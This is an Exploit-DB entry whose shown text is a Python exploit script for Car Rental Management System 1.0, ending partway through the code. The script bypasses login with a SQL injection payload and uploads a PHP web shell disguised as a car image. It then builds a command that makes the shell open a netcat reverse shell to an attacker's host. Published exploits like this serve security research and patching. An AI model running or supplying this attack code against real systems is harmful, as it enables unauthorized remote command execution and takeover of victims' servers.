Car Rental Management System 1.0 – SQL injection + Arbitrary File Upload

Exploit Database
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作者： Fortunato Lodari

日期： 2020-11-10
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/49025/

# Exploit Title: Car Rental Management System 1.0 - SQL injection + Arbitrary File Upload

# Date: 09-11-2020

# Exploit Author: Fortunato Lodari [fox at thebrain dot net]

# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html

# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code

# Version: 1.0

# Tested On: Debian 10 with apache2

# This script will perform an automatic login using sql injection "'OR 1 = 1 limit 1 #" and will create a new car

# in the archive, assigning a PHP file instead of the image of the car itself. This car, having "AAAAAAAAAAA"

# as a brand, will be the first among those displayed and we will use the file just uploaded with a phpshell

# on the victim system

# on the Attacker machine you must listen with NC on a port

import sys

import requests

import time

import random

import http.cookiejar

import os.path

from os import path

#foxlox#

payload = {"username":"' OR 1=1 limit 1#","password":"moana"}

proxies = { "http": "http://localhost:8080"}

#payload = "username=' OR 1=1 limit 1 #&password=ciao"

def deb(str):

print("Debug => "+str)

def login():

deb("Login...")

session=requests.Session()

url = mainurl+"/admin/ajax.php?action=login"

#{'user-agent':'cagnolo','Referer':'http://192.168.0.130/car_rental/admin/login.php'}

r=session.post(url,payload, allow_redirects=False,proxies=proxies)

cookie = r.headers["Set-Cookie"]

deb(cookie)

return cookie

def find_all(a_str, sub,lbegin,lend):

start = 0

start = a_str.find(sub, start)

t=(a_str[start+lbegin:start+lend]).replace('"','')

return t

def upload(c):

deb("Getting cookie")

c = c.split("=");cookie={c[0]:c[1]}

deb("Sending payload")

filetosend=files = {'img': ('s_hell.php', '<?php\necho system($_GET["cmd"]);\n?>\n')}

fields={"id":"", "brand":"aaaAAAAAAAAAAAAAA", "model":"model", "category_id":"3", "engine_id":"1", "transmission_id":"2", "description":"description", "price":"0", "qty":"0", "img":""}

r=requests.post(mainurl+'/admin/ajax.php?action=save_car',fields,cookies=cookie,allow_redirects=False,files=filetosend)

deb("Saved Machine");

r=requests.get(mainurl+'/admin/index.php?page=cars', cookies=cookie,allow_redirects=False)

mid=find_all(r.content,'data-id=',8,11)

deb("Machine id: "+mid)

r=requests.get(mainurl+'/admin/index.php?page=manage_car&id='+mid, cookies=cookie,allow_redirects=False)

defurl=(find_all(r.content,"assets/uploads/cars_img",0,45))

deb("Exploit url: "+defurl)

#os.system("firefox "+mainurl+"/admin/"+defurl+"?cmd=id")

exploit = "wget '"+mainurl+"/admin/"+defurl+'?cmd=nc '+sys.argv[2]+" "+sys.argv[3]+" -e /bin/bash' -O /dev/null"